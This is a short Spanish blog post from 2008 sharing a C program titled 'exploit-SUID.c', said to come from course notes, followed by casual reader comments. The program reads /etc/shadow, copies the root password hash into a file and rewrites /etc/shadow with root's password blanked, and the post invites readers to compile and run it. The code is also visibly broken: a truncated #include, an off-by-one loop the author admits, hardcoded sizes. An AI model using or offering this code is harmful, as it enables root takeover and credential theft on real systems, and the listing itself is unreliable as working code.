lunes, 12 de mayo de 2008

Apuntes interesantes....

Hasta que no he estado estudiando los apuntes de Sistemas, no me he dado cuenta de que este programilla para LINUX en C estaba escondido entre las hojas y hojas que tengo que estudiar. El programa es un poco dificil de seguir pero espero que con la siguiente explicación se aclare algo.

El siguiente programa lee el fichero /etc/shadow y lo reemplaza pero dejando el campo del
password del root en blanco y también crea el fichero oldPass donde almacena el hashing de
la contraseña del root. Esto hace que el usuario root no necesite contraseña para acceder al
sistema.

/* exploit-SUID.c */
#include
/* SE ASUME QUE EL FICHERO /etc/shadow TIENE LOS
PERMISOS 640, EN CASO CONTRARIO HABRA QUE
MODIFICARLO PARA QUE CAMBIE LOS PERMISOS DE
DICHO FICHERO Y UNA VEZ SOBREESCRITO
RESTAURARLOS */

/* TAMAÑO DEL FICHERO A LEER, LO PODEMOS

CONOCER HACIENDO ls -l /etc/shadow */
#define SIZE 678
/* EL CAMPO DEL PASSWORD SON 34 CARACTERES
CON shadow ACTIVADO */
#define LONGPASS 34
int main (void) { /* INICIO FUCION main */
char chrTarget[] = "/etc/shadow",
chrRootPassFile[] = "oldPass",
chrFileOriginal[SIZE],
chrFileNew[SIZE-LONGPASS],
chrRootPass[LONGPASS];
int i,
j = 0,
k = 0,
intCharLeidos;
FILE *ptFile;
/* ABRIMOS EL FICHERO PARA SOLO LECTURA */
ptFile = fopen(chrTarget, "r");
/* LEEMOS EL FICHERO */
intCharLeidos = fread(chrFileOriginal, sizeof(char), SIZE, ptFile);
/* CERRAMOS EL FICHERO */
fclose(ptFile);

/* CREAMOS EL NUEVO FICHERO DE PASSWORDS */

for(i=0; i <= intCharLeidos; i++){/*debeis quitar el signo =
porque sino no funciona*//* INICIO PRIMER for */
/* PASSWORD DEL ROOT EN EL FICHERO /etc/shadow */
if ( i >= 5 && i <= 38 ) { /* INICIO if */
chrRootPass[j++] = chrFileOriginal[i];
continue;
} /* FINAL if */
/* FICHERO /etc/shadow SIN PASSWORD PARA EL root */
chrFileNew[k++] = chrFileOriginal[i];
} /* FINAL PRIMER for*/
/* ESCRIBIMOS EL PASSWORD DEL root EN UN FICHERO APARTE */
ptFile = fopen(chrRootPassFile,"w");
fwrite(chrRootPass, sizeof(char), LONGPASS, ptFile);
/* CERRAMOS EL FICHERO */
fclose(ptFile);
/* SOBREESCRIMOS EL FICHERO /etc/shadow */
ptFile = fopen(chrTarget, "w");
fwrite(chrFileNew, sizeof(char), SIZE-LONGPASS, ptFile);
/* CERRAMOS EL FICHERO */
fclose(ptFile);
return 0;
} /* FINAL FUNCION main */

Sólo queda compilarlo y ejecutarlo en un terminal. Espero que os guste mi primera entrada. Seguire buscando cositas interesantes.
P.D.:
Sí tienen alguna duda o queja comentenla.

5 comentarios:

  1. e tenido algun problemilla con el signo mayorque (supongo que será por el tema de html)

    bueno espero que os guste ;)

    ResponderEliminar
  2. Curioso

    Me alegra ver a otro informatico por aqui ^^

    ResponderEliminar
  3. iyo q te has pegao el abuso de escribir xD, gran aporte tio pero ap la proximo quiero ver humor en??!!

    ResponderEliminar
  4. jejeje si esta vez a tocao algo interesante pero la proxima aber si pongo algo de humo.(aunque como sea igual que el chiste.....):P

    ResponderEliminar
  5. y por qué no un script en bash? :)

    ResponderEliminar